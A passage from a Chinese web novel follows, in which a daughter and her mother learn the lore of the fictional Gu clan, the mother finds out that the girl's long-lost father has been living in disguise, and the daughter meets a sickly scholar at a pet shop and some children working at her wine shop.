牛铁兰止住了她,相比起来,她这个当事人全程淡定多了,不过也不能说淡定,她只是没得选 危险再大,她也不能当着自家闺女面前直接放弃吧? 她从女园逃出来,也并不是为了等死的 而且 牛铁兰看着面前那碗乌漆麻黑的药,捏着鼻子一口咕下 药的味道依旧难闻,下嘴一瞬间让人抑制不住地想呕出去,具体什么味说不好,唯有那股子血腥味比起以往浓了不少 牛铁兰憋着气一口喝下去,有种死过一回的感觉,喝完脸上没有一丝血气,白得不成样子。但是不过一炷香的功夫,血色回涌,她脸上重新染上了红晕,肉眼可见比之前更好 宋锦说不上开心还是难过,这药虽好,但一看就很重,完全是为了后面的练蛊下狠药,可想后面遭受的疼痛 一想到自家老娘这些年遭的秧,她想把当初给那下蛊之人碎尸万段 但是很难找,不说已经过去十来年了,就说这天下之大,人员之杂,那些个搞蛊的人随便钻个林子就能潇洒自在了 宋锦之前怀疑过是和岭南有关的梁家,但是按照当时的时间线,和她娘逃出去时候的江南区域,怎么也不能是梁家 至于江南本地世家,多不胜数,再有外地勾结,没有一个确定的方向,根本不可能找到 只有,等她娘好起来了,她再去那女园一探 半月的山林路程,她带着黄黄前去,不出一月,定然能找到那不知还在不在的园区 现在不能着急 宋锦按捺下那股急切,又问:“喂,老头,你和我说说你们蛊族呗?不是说这个红线蛊是岭南十大古虫,会的人应该不多,你能看出是谁下的吗” 虫老瞥了瞥她,也没有拒绝回答,毕竟练蛊再在即,多知道一些总是好的,但是 “我们蛊族比起外人,并不算多,但活不到百岁都是短命,一年年下来也有上万人。完整掌握十大蛊的人不多,只有十个,但能掌握十蛊一二的人便近百,他们不说能掌握红线蛊,下蛊完全没问题,你说怎么找?” 虫老说着,露出个讽刺的笑容:“你与其想下蛊之人,不如看幕后之人,我们蛊族与世无争,一旦入世,也只是工具” 偏偏就有人不信邪,非觉得自己能做出点什么,也不想想你一个天天玩虫子的人,和外面那些整日玩弄人心的人能比吗? 宋锦也知道这个理,但是没有消息就没办法 她想到之前没机会问的事,问道:“说起来,你和宋首辅是怎么认识的?我听人说宋首辅亲娘是你们蛊族的,你知道是怎么回事吗?” 老刘头听到这个就绿了脸,慌慌张张没好气道:“要死了,你个死丫头,谁让你说这些的?传出去你不要命,老头我还想要呢” 如果说宋商亲爹的事在都城是公认的禁忌,那么他娘便是忌讳中的忌讳,谁都提不得 这宋锦自然也知道,所以她也没对外人说过,这不是现场就他们三个人吗? 她看着虫老那惊慌的模样,很是纳闷:“现在又没外人,有必要这么怕吗?再说了,他失踪这么多月了,指不定就没了” 虫老:“呸呸呸,童言无忌,你知道祸害遗千年吗?莫说一日未见尸体此事就一日未定,就是见了尸体……” 宋锦挑眉:“怎么,也能作假?” 那自然是能的 但是虫老也不能说太多 “反正这事能不提就不提,他有什么好说的?在外面听的还不够多吗?你也不用觉得占了宋家便宜就为他不平,外面说的再难听,那些事就是他干的,他这个人吧” 他语焉不详地直略过:“反着没什么好说的,活着不能说,死了更没必要说” 牛铁兰坐在小榻上,右手捂着心口,垂眸静静听着,突然道:“那您说点能说的?蛊族出世之前一般都做些什么?” 牛铁兰说话温温柔柔,一直很有礼貌,又是个倒霉蛋病人,除了惯孩子这点太过分了,没其他毛病 虫老对她没什么意见,也没做多想道:“其实和外面差不多,只不过每个蛊族人从两岁开始学着识蛊养蛊练蛊,说起来和学医差不多,蛊族用蛊虫治疗……” 光听起来,蛊族也要识字算数,也吃喝玩乐,平日自耕自足,盖房子种地…… 只不过是常人的生活换了一种模式,多了学蛊,也不用交税,和外人差不多 但是也就听听得了 正常人家可不会因为家里小姑娘小子和外人偷跑了就把人捉回来,让人万虫噬心,惨死偿命,也不可能搞这么多折磨人的花样 虫老继续:“蛊族和这边不一样,蛊族随母,女子阴柔,养蛊也比男子顺,哦,对了,我们也不讲嫁娶,就是看上眼了就在一起,不顺眼就分开,孩子随母姓” 宋锦插话:“那这样长期下来,不会有兄弟姐弄混吗?就是不讲究辈分,血缘太近,孩子也容易出问题吧?” 大衍朝虽然不似后世那般讲究三代四代,但是二代是绝对不能婚嫁的,管你堂的表的,只要父母是亲的一代就是不行 虫老给了她个赞赏的目光,点头:“正是这般,所以蛊族六百年前来了一次大变革,育出了生蛊,用生蛊控制,便是不喜对方,也能用无需敦伦,诞下优秀孩子,一年年下来,蛊族优秀之人辈出” 不过也是这般,才造就出了一个个反骨人 宋锦瞠目结舌,这,这不就类似于试管吗? 而这般的话,看似是好,但是同父同母的亲兄弟姐妹都有偏心之争,更何况这种心爱之人和优秀后代的争议了 有人喜欢,但绝对也有人会不喜 宋锦猛然抬头:“红线蛊不会也是因此诞生的吧?” 虫老不语,但是表情已经说明了一切 果然,宋锦捏起了手 由生蛊诞下的孩子自然优异,但是和普通人不同的诞生方式,和父母都少爱,又承担起大量的养蛊责任 一开始定然还行,但是一年年下来…… 也不怪乎那年岭南蛊祸爆发了 牛铁兰静静听着,蹙起眉头,问:“你的意思是,蛊族能控制生孩子?” 虫老叹息:“生蛊,岭南十蛊第一蛊,看似是好,但是也绝了蛊族的未来。自从有生蛊之后,蛊族无论男女生育不用生蛊,不能留下孩子” 但是生蛊难育,人体有限,无论男女都只能用两虫 听到这,牛铁兰心中思绪万千,脑中也乱糟糟的 虫老也顿了一下,这个话题对他来说也过于沉重了,毕竟蛊族一族现在基本可以说是断了,便是有人还在,传承也绝了 他轻轻叹气,掠过这个话题,打算说些有意思的,他道:“我们蛊族总共分了十个姓氏,每一个姓氏都是以虫的叫声命名” 说起这种,宋锦来了些兴趣,眼睛微瞪,嘴里跟着学了起来:“吱吱?” 虫老眼中闪过笑意:“对,第三氏便是吱类,不过是口八那个只” 宋锦哇哦一声,继续:“那嗡嗡?” 虫老点头:“第七氏族,翁” 宋锦:“嘁嘁” 虫老:“第九氏族,乞” 宋锦:“嘎嘎” 虫老:“这个没有” …… 世上的虫子千千万,叫声也各有不同,便是同一种虫子,在不同的时间叫声也不相同,能组成的姓氏很多 宋锦以往经常在山里面乱窜,接触最多的便是这些虫蛇鸟兽,不一会儿功夫就模拟了一堆的叫声 两个人在那里开始猜来猜去 这种时候,她就很符合十五岁少女的姿态,明眸皓齿,生动活泼 牛铁兰还记得在宋家的那两年,虽然宋锦生下来就是活泼的性子,对什么都好奇心强,但还是个普通调皮的孩子,不似现在这般 看似蛮不讲理,却是为了让她们母女俩日子顺畅的保护 说到底,还是因为她这个当娘的身子不好,照顾不了孩子 牛铁兰的心里多了些伤感,她轻轻开口:“曲也是吗?” 正在和宋锦说话的虫老顿了顿,眼神中带上了怅然和怀念,说话的时候,神情却不由郑重了几分 “第一氏族,曲” …… 母女俩继续在楼上的时间格外长,下楼的时候也格外的沉默 蛊族,确实次次能突破她们的想象 母女俩沉默的朝楼下走去, 宋锦突然挽起牛铁兰的手,打破了僵局,她灿烂一笑:“娘,蛊族这般神奇,你一定会好起来的” 牛铁兰看着她脸上的灿烂笑容,心中的忧虑自责也一点点散去,她点了点头,轻声细语:“肯定会好的,娘还要看着你成婚生子” 宋锦眼珠子转溜:“你说那个生蛊,嘶,娘你别掐我啊” 牛铁兰瞪她:“因为我想这些乱七八糟的东西,小心我抽死你” 宋锦撇嘴,嘀咕:“两个孩子也不少了” 牛铁兰没好气揪她耳朵 这是一个孩子两个孩子的问题吗?这蛊,听起来好的,但是谁能保证后果?蛊族就因为这玩意儿败落,那后遗症谁说得准? 指不定里面就加了让人变疯的玩意儿 牛铁兰认真:“你成不成婚生不生孩子是你的事,娘不会逼你,但是生蛊,不行” 宋锦讨好:“我就是说说嘛” 牛铁兰这才松开她的耳朵,轻哼一声,挽着人继续往下 不过这么一打岔,她心中的沉重确实少了一些,她的嘴角微微弯起 她的女儿,是她这辈子最大的珍宝 …… 母女俩说着小话下楼,绕出走廊,原本该空无一人的廊道上白衣公子翩然而立,他嘴角噙笑,凤眸明亮,月霁风光 牛铁兰不言 宋锦立马变了脸,眯着眼睛,冷笑一声:“说吧,这次又是什么借口?是要打扫后院,还是要过来抓老鼠啊” 曲茂泽轻笑一声,坦然:“这次是特意等你们,你们三日一来,我想着就是今日了” 可恶,完全不按常理出牌,宋锦看着他就烦 虽然这段时日以来,这人没做过什么也没说什么,做过最出格的就是那日拍了他的脑袋还抢走她娘,便是从前日子,他也勉强算得上是受害者,不能怪他 但就是很烦人 她们母女俩这些年相依如命,快快乐乐,不缺这一个人了 宋锦很想拉着老娘就走,但是只有想想 她确实脾气不好,很多时候强势不听话没大没小,但是牛铁兰不是别人,那是她娘,不是什么都不懂的小孩子 宋锦动了动嘴皮子,无声地咒骂曲茂泽几句,没再吱声 牛铁兰没注意她的小细节,看着突然出现的曲茂泽,又想到了前几次的相遇 这人假装失忆到都城,每日神出鬼没,什么都掺合一些,道馆、武馆、医馆、学堂、马场…… 他定然是别有意图的 但是这般,他依旧费功夫前前后后跟着 牛铁兰垂下眼眸,藏住其中的复杂,低声:“去外面看你的猴子去” 宋锦:“啊?” 她都这般体贴了,她娘不夸她就算了,还要赶她? 不是,重男轻女啊 宋锦鼓嘴:“猴子有什么好看的?你们有什么是我不能听不能看的?” 哦,还真有 那她就更不乐意了,她貌美如花的娘亲…… 牛铁兰一看宋锦那溜溜转的小眼神就知道她在想些什么乱七八糟的东西,瞬间脸颊一红,恼羞得一巴掌拍了过去 “看你的猴子去,死丫头” 宋锦撇着嘴,不情不愿地拖着脚往外面走,走到曲茂泽这边时候,脚一抬 曲茂泽不着痕迹地往前一步,嘴角噙笑:“别生气,一会儿陪你玩” 玩个屁,谁稀罕和他玩了啊? 宋锦恶狠狠瞪了瞪人,骂骂咧咧地离开后院,磨磨蹭蹭地消失在转角处,把场地留给他们两人 曲茂泽忍不住低低笑了出声:“我以前从来没想过,我的女儿会是这般性子” 牛铁兰恼:“她这样怎么了?” 曲茂泽轻声:“好,就这样子很好,只不过我以为会像你” 牛铁兰没说话了,她转头看着院子里的树,好一会儿道:“像我有什么好的?” 她最开始是什么性子?她自己都想不起了,左右不会是现在这般 曲茂泽缓缓走到她的旁边,并肩而立,与她一起看着院子里逐渐枯黄的树 他眼神柔和,声音轻缓:“是我说错了,金金性子和你还是很像的,坚韧、无畏、坦然,又还不记仇” 都一样好骗 看吧,这才过了几日,她便又放下了心结,消了对他的怨恨 曲茂泽都不知该开心还是该无奈了 牛铁兰侧头,杏眸清亮水润,眼尾微微带红,衬着晕红的脸,清丽娇柔,楚楚可人 曲茂泽眼神微动,想到之前马场那日,突然又觉得这般没什么不好,他伸出左手轻轻抚着她微凉的下巴,渐渐低下头 牛铁兰没有避开,她轻轻抓着他的手腕,微微收紧,像是粘人的猫儿一般,挠人得紧 曲茂泽鼻尖是她身上的幽香,静心能听到她陡然增大的心跳声,能感受到她的紧张,触到她轻柔的肌肤…… 那真是太久太久没感受到了 他确实不是个好人 从始至终都是如此 但是那又如何?这世道,好人可闯不下来 曲茂泽眼神深幽,喉结微动,抚着下巴的手也加重,他一点点靠近,微热的呼吸交缠,唇瓣轻轻碰上 手腕突然刺痛 他蓦然退开,错愕地看着抓着他右手的牛铁兰:“你” 牛铁兰抓紧他的手腕,那原本玉白无瑕的手腕上,一道红痕格外明显 她死死盯着伤痕,红着眼睛,呼吸急促:“这是什么?” 曲茂泽无奈负额 大意了 第78章 都是假的? “嗯,院子里上次的猫又来了……” 牛铁兰攥着曲茂泽的右手,看着上面明显的刀痕,听着他在那里一本正经地胡说八道,心中说不出的沉闷 她该猜到的,早就该猜到的,若说有什么东西能让人十来年不变样,又或者说,能让一个人变成另一个人 就只有蛊了 上次道馆武馆比拼的时候她就有所察觉,武馆胡武子倒得那般利落,就是因为小小的毫不起眼的蛊虫 不过那时候她更多的还是把注意放在他到底是不是那个曲茂泽身上 他是 所有的都说得通了 牛铁兰听着他还在那里瞎编乱造,松开了他的手,然后直接上手贴在他的脸上,细细摸索 他的皮肤不似普通男子般粗粝,上面没有一点瑕疵,白皙细腻,但是鼻梁高挺,眉骨微凸,端正温和,却又带着两分凌厉,让人看着便不敢招惹 像是话本里伸张正义的神君,也似故事里最后救了主角一命的神秘侠士 那年的阮金玲便轻易地信了他,刚从女园逃出,就跟着去了他的府邸 她不知道女园的背后是些什么人,但是肯定不简单,她也不知道曲茂泽到底是什么背景,但他便是不简单,也很难和人对上 那些送出去的人牵扯太大了 她害怕说出去后曲茂泽被牵连,也怕暴露了自己被放弃,她便什么也不去想了,默默打探着外面的情况,了解外面的世界,等待着离开的时机 不过一个十六七岁,常年被困在园子里的少女,面对‘救’了自己的神仙一般的俊美男人,哪里能有那般坚定? 没多久,两个人就稀里糊涂在一起了 无名无分,无媒无聘,就一个简单得不能再简单,玩笑得不能再玩笑的对月行礼,就成了事 牛铁兰也不知是该说当初的自己好骗,还是面前这人心思深会骗人了 她情绪起伏,眼眸泛红 时隔十六年,她再次摸着那张曾朝夕相处的脸,这一次,能感受到其 中的异样了 她扯了扯嘴角,声音沙哑:“所以都是假的,是吧?” 曲茂泽早就停下了话茬,静静地看着她,其实在她摸上来的时候他就该拦着人的 看吧,不然就是现在这样了 他轻轻叹气,按着她要撤下的手,微微侧了侧脸,反问:“假吗?我觉得真得不能再真了” 牛铁兰感受着手下皮肤的温度,心里莫名的难过 确实很真,真得若不是她现在是带着怀疑去探,若不是她身上的红线蛊有反应,她都不能相信,面前这张脸竟然会是假的 牛铁兰心中酸涩,抬起眸,撑着泪,一字一字:“你到底是谁?” 但其实也不用他多做回答,她心里已经也有了定论,只是想听他亲口承认 曲茂泽松开她的手,指节轻轻擦去她眼角的湿润,声音依旧轻轻,却多了认真肃然,也一字一字 “曲茂泽,曲茂泽是我,我就是曲茂泽” 牛铁兰一把拍开他的手,就着衣角狠狠擦了擦脸,低着脑袋转身就走,步伐带着仓促凌乱 她并不想知道他的图谋,她只是想听他承认身份 就那么简单的两个字 只是两个字 而已 都听不到 …… 曲茂则站在原地,看着她踉跄的背影,在心中叹息 他垂下眼眸,无声地跟了上去,拉住了她的手 牛铁兰用力一甩,声音沙哑:“滚开,反正不过是露水姻缘,你既然没死我也不用愧疚,以后你走你的阳关道,我过我的……” 吱呀一声 身侧的房门推开,牛铁兰错愕看去,下一秒便被推了进去,伴随着房门重重的关声,她被压在了木桌上 长驱直入的唇舌火热,像是在油灯蹿动的火星,不费吹灰之力,便燃起阵阵烈火 牛铁兰无力地扶着他结实的臂膀,泪眼朦胧间,嘶哑恼羞:“你混蛋” 曲茂泽攥紧她纤细腰肢,指节轻轻摩擦,埋头轻轻触碰,闷笑沙哑:“你不会想知道我有多混蛋的” …… 前屋里,宋锦心不在焉地看着逗着笼子里的金丝猴 这前面算是个展示笼,每天都有十来个宠物摆在这儿,什么猫狗虫蛇都有,但是一般会选一个最好最贵的放前面 比如说这只猴子,又比如说之前的猫和羊,各个成色都是一顶一的好,至少三位数的,价格不可谓不贵 但是宋锦每次来都不一样,说明这些东西最多不过三日功夫,就能卖出去 换算下去,这医馆可赚不少钱,而宋清之作为幕后人之一,财富可想而之 因为买铺子消耗大半小金库的宋锦啧了一声,和金丝猴握着的手反过来一拍 浅金色精致得像是小娃娃一样的金丝猴呆呆看着被拍的手,再看看宋锦,圆溜溜金色的大眼睛里难掩懵意 它晃了晃手:“吱?” 纯粹就是下意识的宋锦摸摸鼻子,心虚了一瞬,很快就理直气壮了起来 “怎么了,我不能打了?你一个小猴子不要这么斤斤计较” “吱吱?” 不对,它觉得不太对,它挨打了,这人怎么还这个表情? 金丝猴抓了抓脑袋,可算是反应过来了,拍着笼子,愤怒惊叫 “吱吱吱” 道歉道歉 好家伙,宋锦心情本就不爽,一巴掌拍过去,指着猴鼻子,冷笑:“别给脸不要脸哈,做猴要有自知之明,再闹我给你买回去做全猴宴,拔了皮做标本,猴肉炒菜,猴脑生吃,猴手凉拌……” 说着,她砸吧砸吧嘴,她都有点说饿了 金丝猴自然听不懂人话,但是猴子本就聪明,它更是其中之最,相当于五岁孩子,很是聪颖 它看得出宋锦的威胁,惊恐:“吱吱” 它浑身是毛,吃不了 宋锦满意了,安抚地拍拍它的脑袋,翻出零食袋,从里面掏出两块果干递过去 这些果干都是宋家拿的,味道很好她每次出门都要带一包甜嘴 这一巴掌一甜干下来 金丝猴缩到笼子最里边,畏畏缩缩地小口啃着果干,金灿灿的眼眸好奇地打量着宋锦 它长得好看,又是今日头牌,围观的人虽然不少,但是像宋锦这般直接上手的,几乎没有 毕竟,它是真的贵 像他们这种头牌,最差都是三位数,住得是那五六立方的檀木笼,脖子上挂的还是金牌牌 尤其是它,身价上了四位数,是宋锦这几次以来见过最贵的宠物了 不说大部分人买不起,就是买得起,也要斟酌斟酌 上千两的小玩意儿,哪能说打就打啊 宋锦心中没这些数,就一破猴子,她以前在山里想抓多少有多少,当然,这么好看的确实少见 她见它喜欢吃果干,又把剩下的都递给了它 金丝猴开心了,抓着果干,冲着她作揖:“吱吱吱” 宋锦挑眉:“还挺有灵性的” 金丝猴见她喜欢,又站起来有模有样地给她鞠了个躬,在宋锦赞赏的目光下,又来了个后空翻 得亏笼子还挺大的 宋锦摸摸它的猴脑袋,又掏出根肉条给它 金丝猴就更开心了,跟狗崽子似的欢快地摇着尾巴,很是讨喜 宋锦抚摸着下巴:“哎,你要是便宜点就好了” 金丝猴:“吱吱” 宋锦又摇头:“也不行,家里那个脾气大,真带回去,给你一口吞了可白瞎我钱了” 金丝猴:“吱?” 这猴子可爱,宋锦也确实没事干,一人一猴蹲在这儿,你说一句我吱一声,还怪引人注目的 她老娘迟迟不出来,宋锦身上的零嘴也消耗得差不多了,她拿出最后一块放出嘴边磨牙 “姑娘很喜欢这小猴?” 一道低沉的男声传来,徐徐缓缓还怪好听的 宋锦侧头看去,来人二十上下,又高又瘦,玉冠白衣,手持白扇,很是俊逸,是个很不错的美男子 但是 她身边有两个喜欢穿白衣服的人 风流公子哥宋行之,虽然人不咋滴,但是长相确实没法说,一身气度也非凡,站在那儿就是风流公子哥的倜傥样,原滋原味没得挑 应该早死却诈尸的死鬼爹,这人也经常穿着白衣,长相就不说了,能引得杨彦珺这种大家小姐几次暗探,可见一斑,气质更是端谨,举手投足都带着股游刃有余的淡然,很有君子风范 这么一衬托,面前的八分男看着就只有七分了,尤其是他还一副读书人做派 她最烦读书的人了 再扣一分 也就普普通通勉强能看的那种吧 宋锦打了个哈欠,兴致缺缺道:“还行吧” 白衣男朝着这边走了过来,他身形清瘦,脸色有些苍白,唇瓣偏紫,诗书气外便是一股病弱气 宋锦歪头:“你身体不好?” 她只是没跟着老刘头日夜研医,但是两辈子学习,这里一点那里一点,学得不精很杂,什么都能大致看一些 但是也就看了 白衣男怔了一下,略带失落地低嘲道:“姑娘这都能看得出?看来我回去得把今日的药补上了” 宋锦:“这分明是我眼力好” 白衣男歉意一笑,朝着笼子这边走了过来:“是我不会说话,姑娘别生气,我见你在这边待很久了,一时好奇,希望你别觉得冒昧” 宋锦耸肩:“店又不是我开的,你爱看哪儿看哪儿” 白衣男走了过来,站在笼子边,伸出手,手心上是两个碎了壳的核桃,他声音轻柔:“快吃吧,小猴子” 小猴子吱吱没动,小心瞅着宋锦 宋锦挑眉:“吃你的,看我干什么?别弄得我跟你主人一样哈,你个小东西我可买不起” 白衣男忍不住笑了笑:“这小猴甚是聪颖,是从北岭那边抓回来的,很是亲人。据说那日,有猎户在山里迷路受伤,这小猴子突然出现,把他带了出山” 宋锦啧:“然后就到这了?有的人确实比不上畜牲” 白衣男轻叹:“姑娘所说甚是,这小猴极有灵性,可惜遇人不淑,不如姑娘把它带回去如何?” 宋锦侧头:“哈?” 这小玩意儿一 千多两呢,怎么的强买强卖了? 白衣男苦笑:“在下倒是想带他回屋,但是我身子不好,接触多了毛发会发病,若是让下人照顾,又可惜了它的灵性。我观它喜欢姑娘,姑娘也喜欢她,定能带好它” 宋锦嘴角一抽:“我可没钱” 白衣男笑:“我送予姑娘可好?让它孤零零在这里,我于心不忍” 宋锦撇嘴:“感情是个林妹妹啊” 白衣男:“什么?” 宋锦摇头:“你不忍就自己带回去,我才不帮别人养” 她可是铁石心肠 这些个小玩意儿你说要是在戏班子小笼子里面可怜兮兮也就算了,住这么大、人都能睡的笼子里,她操什么心啊 一千两银子,够那些个快冻死的小崽子安然长大了,成家立业了 宋锦啧啧两下,揪着小金丝猴的胡子,感叹:“你啊,还是命好” 金丝猴:“吱吱” 白衣男轻叹:“是我冒昧了,姑娘” 宋锦:“知道就行” 白衣男眸色暗了暗,又拱手道:“在下储承安,不知姑娘芳名?” 宋锦挑眉,侧头:“你不知道我?” 储承安状似意外,苦笑一番:“我身子骨不好,平时多在学院,少有出门,若有得罪之处,还望姑娘海涵” 宋锦见他一脸真诚,到也没为难人,道:“我叫宋锦” 储承安愣了一下,小心翼翼:“是,宋家的宋,锦瑟的锦?” 宋锦挑眉:“是那个宋锦” 看起来,她这名头传得还挺快的啊 储承安错愕,立马便要行礼 宋锦摆手:“行了行了,别折腾,看你的猴子吧” 说完她就在那里逗猴子玩,一边逗弄一边瞅着后门方向看,这都快两刻钟了,她娘他们怎么还不出来啊?有那么多小秘密不能让她知道吗? 她有些心不在焉 储承安则站在一边小心打量着她,见她完全无视自己,思索一番,又小心道:“姑娘和,外面传的不太一样” 宋锦:“哦,怎么个不一样?” 储承安看着有些不好意思,捏着扇子的手紧了紧:“比传闻中,更为美丽,我前两次过来就看到姑娘了,没想到姑娘会是郡主” 宋锦扬眉:“哟,有眼光,会说话,不过你就是这么说我也不可能帮你养猴子的” 储承安无奈:“我说的都是发自内心的” 宋锦赞赏:“那你还是很有眼光的” …… 两个人站在木笼边上聊了起来 储承安对这些动物还挺了解的,平时也没少过来,对于前后的小动物都如数家珍,就是不怎么能摸,应该还有点哮喘 是个文弱病美人了 和她娘之前还有点像,再加上会说话,懂得也多,宋锦对他态度也温和不少 扣掉的两分能加回去了 两个人一个文弱斯文,一个清理灵动,一百一红的站在笼子前说说笑笑 后院,暂时回归和平的老夫老妻走了出来,一来就看到这副场景 曲茂泽脸上的春风得意也散去,嘴角瞬间落下,眼神微凉 牛铁兰本身还有些愠怒的,这会儿也降了下来,看着他难看的脸色,轻飘飘地补刀 “我的金金真是大了,也是到成婚的年纪了,真好” 见此,曲茂泽嘴角又噙上了笑,恢复一贯的模样,就是眼神藏不住的厉色,他轻道:“夫人都还是一枝花,我们的女儿,自然还小着呢,这些事早得很” 牛铁兰呵呵:“是吗?明年及笄,后年也差不多了” 曲茂泽笑容越发虚假:“都城女子常十八出嫁” 牛铁兰微笑:“那也差不多,明年及笄,开始想看,处个两年,我也可以带孙女了” 曲茂泽低头看她,见她虽有斗气之意,但也却是发自内心这般想的 他心塞:“……我们的孩子,并不需要一定要嫁人” 牛铁兰听到这,杏眸眸光流转,眉眼一弯,轻笑道:“你说得对,还可以上门,你还别说,我们金金就是惹人喜欢,在老家有两个青梅竹马,就是过来这边,也就一会儿功夫就有人想上门” 曲茂泽:“心怀不轨的人太多了,婚姻大事,夫人需要慎重再慎重” 牛铁兰:“我也这么觉得的,不过慎之确实很优秀,长得好,会打仗,官职高,又会说话,对金金一见钟情,你说,是不是很合适?” “是吗?” 曲茂泽沉好一会儿,皮笑肉不笑,咬牙切齿:“宋将军竟然也有此意?我们金金,可真是招人喜欢啊” 牛铁兰眉眼弯弯:“我觉得他挺好的,是吧?我们母女俩靠着宋家沾了便宜,虽无关系,但是亲上加亲” 曲茂泽忍不了了,他一把揽过她的腰,在她的耳边轻声:“和我亲就够了” 牛铁兰得意神色褪去,恼羞得重重推开人,狠狠瞪了他一眼,气冲冲朝着宋锦走去,直接擦身而过,声音凉凉 “还不走?整天只知道耍你的猴,你干脆也变个猴吊上面吧” 心心念念等了老母亲半天的宋锦笑容僵在脸上 不是,她又做错了什么啊? 宋锦鼓起了嘴,一下就锁定了罪魁祸首,狠狠瞪了一眼曲茂泽,赶紧跟了上去 “娘娘娘,你等等我啊” 接连被瞪的曲茂泽看着她们出去的背影,反而笑了起来,悠哉悠哉走到金丝猴笼面前 小金丝猴扒在笼子面前,看着门口的方向吱吱叫,一看就很喜欢宋锦 曲茂泽悠悠:“公子喜欢这小猴?” 储承安看着面前气度不凡,又和宋锦母女俩关系不简单的男人,迟疑道:“小猴很有灵性,在下储承安,公子是?” 曲茂泽没回答他,只是轻笑:“我还以为诸公子醉翁之意不在酒,既然喜欢猴子,那就好办了” 储承安越发谨慎起来 面前的人一看就不简单,但是他怎么没听过这么号人?这人过来,难不成…… 曲茂泽不在意这年轻人怎么想的,他招了招手,便有店员走了过来,他直接道 “记宋清之头上,那这小猴,送去宋府给宋小姐玩” 储承安错愕:“公子这是何意?” 曲茂泽笑笑:“没什么,就是告诉你一个道理,喜欢的得不到才是常事” 储承安:…… 曲茂泽不理会他是什么反应,大步匆匆地往外跑去,左右一番观望,很快在人群里找到了母女俩,他快速跟了上去 他看着母女俩亲昵地挽着手,光是看着,心口都软成一片,涌出无限暖流 他这一生,前半生坎坎坷坷,后半生血雨腥风,刀光剑影之下,一个个故人死去,谁也说不准下一个死的会不会是他 他早就不抱期待,也不想在掺合什么,新朝建立二十年,他亲眼看着百姓日日过好,国泰民安 已然足以 只是没想到,会有这么个意外 一个他在梦中,都不敢想的意外 曲茂泽嘴角噙笑,眼神轻柔,静静地看着母女俩的背影,就这样一路不远不近地跟着 “好烦”宋锦挽着她娘,余光看着他阴魂不散,忍不住嘀咕,“娘,你说我去把他赶走好不好?” 牛铁兰凉凉:“要不你跟着一起走吧,我现在看你也烦” 宋锦气闷:“我多冤啊” 牛铁兰呵呵 冤吗?那肯定不冤,就那双眼,那张脸,怎么都不冤。一想到自己那几月朝夕相处,同床共枕,现在孩子都生了,都没见过人真面目 她把宋锦把拉开,自己一个人走一边 宋锦鼓嘴,想也不想又凑过去挽住人 牛铁兰再扒拉 她再黏 母女俩你来我往,最后都忍不住笑了出声 牛铁兰:“你真烦” 宋锦嘻嘻哈哈:“那也是你生的” 牛铁兰眼中含笑,摇了摇头,拉着人继续走着 养兽堂就在东区,来都来了,牛铁兰自然要看一下她们花了重金买下的店铺 离这边最近的就是酒铺,也就三条街的距离,走下来两刻钟不到一些 醉归楼是最省事的铺子,简单更改一下格局,换个牌匾就好。至于重新定制的酒壶,现在还没到,但是并不影响喝酒,所以它已经开业了 因为也没换营业的老板,所以没弄什么开业仪式,就跟着之前一样就好,但是生意明显不太一样了 还没到跟前,母女俩就看到酒铺前面挤满了人,左右是穿着新衣服打扮得漂漂亮亮的小崽子 一个个拎着小篮子,装着小酒壶,在那里吆喝着 “新店搞活动了,买两提送一提,买一提送花送簪子” “免费尝,不好喝不要钱” “一文钱一杯” …… 宋锦看着那边一二三四五六个眼熟的小崽子,忍不住挑起了眉头 宁宁福哥在就算了,他们几个就住在附近的酒库旁边,那些上杨村育婴堂的崽子们怎么也在? 山里还不够他们闹腾,跑城 里玩大冒险了? 她这是酒铺,不是幼儿园 吧? 第79章 姐妹俩 “你们几个怎么在这儿?” 宋锦随手拎起一个小崽子,上下打量之后,上手揪揪人脖子上的小红花 “这是什么?怎么,你们要当新娘子?” 被她拎起的是小花,也就是上次宋锦去看黄黄时候,山里面碰上的慈育堂的小女孩 这几个小崽子从小跟着练武,拳脚功夫不错,一个个,就是这四五岁的小花,胳膊腿腿也是梆硬,肌肉硬实得很,随便都能来几个空翻 这般想着,宋锦又上下其手把人捏了个遍,挑着眉头:“哟嚯,不错嘛,看样子这段时间没贪玩,小身板练得不错” 小花就跟那墙角挂着的鱼似的,毫无反抗的余地,只能任由宋锦动作,她憋屈:“你别欺负小孩” “你还知道自己是小孩啊?” 宋锦挑着眉,把人放了下来,然后冲着其他人招手 在那里大大小小忙活的孩子们迟疑一瞬,陆陆续续跑了过来,排成一小排 六个孩子全都穿着相同的衣服,胸口处缝着醉字标签,脖子上挂着花,脑袋上也顶着红揪揪,喜庆得很 宋锦熟一些的就是育婴堂的小花和带头的阿胜,然后是前几天才暂时收留的福哥宁宁四个 当然,主要还是四个人长得好看,又会说话,很难让人不注意 宋锦双手抱胸,再看向一旁跟过来的曹老板:“曹老板,他们这衣服?” 曹老板擦擦忙碌的汗水,乐呵呵道:“小老板还不知道,就是昨天,那金玉阁的小公子路过我们这,喝了酒以后就特别喜欢,带着一群朋友买空了酒,不知道怎么就传出去了,今天来了很多人,我想着忙不过来,就让几个小家伙帮忙,一天十五文钱,包两顿饭,他们好用得很呢” 宋锦瞥着他们身上这一晚上功夫绝对赶不出的衣服,心道这人怕是早就想好了 这倒是个好方法,酒铺需要打酒郎送酒人,这些不费劲,小崽子也能做,不说赚多少,饭钱应该是够了 就是,宁宁之前口中抢生意的竞争对手,不会就是上杨村的这些小崽子吧? 宋锦打量着两边孩子 宁宁咧着小牙齿,摘了一朵小红花,笑得可可爱爱,递给宋锦:“给,花花” 宋锦捏捏她白净的脸:“厉害了,还会挣钱啊” 宁宁捏拳,奶声奶气:“赚钱钱,不饿肚肚” 另一边花花翻了个白眼,嘀咕:“就你这路都走不了的,赚个屁的钱” 宁宁气鼓鼓跺脚:“宁宁能跑” 小花鬼脸:“乌龟跑” 宁宁气:“你,你才乌龟,你个大乌龟坏乌龟花乌龟……” 两个人四岁小崽子一个像兔子,山顶地洞都要溜达两圈;一个像乌龟,逮着一个洞就能躺两天 宋锦还真没想到能吵起来,看得出来,两个人这几天也不是很对付 眼看着两个人撩着袖子就想上手了 宋锦一手拎起一个崽子,冲着其他人点点下巴:“行了,去弄你们的吧,中午请你们去酒楼吃饭” 其他人还没说话,小花眼珠子一转:“不要吃饭,你把饭钱给我们换成钱吧” 宋锦微微一笑:“你怎么不说把我的铺子改你的名?不想吃就别去” 小花鼓嘴:“我” 大哥阿胜揪住她的头发,上来瞪了瞪她,再对宋锦恭敬:“姑娘别和小花计较,她年纪小不懂事,野得很,我回去好好教她” 这话怎么感觉似曾相识呢? 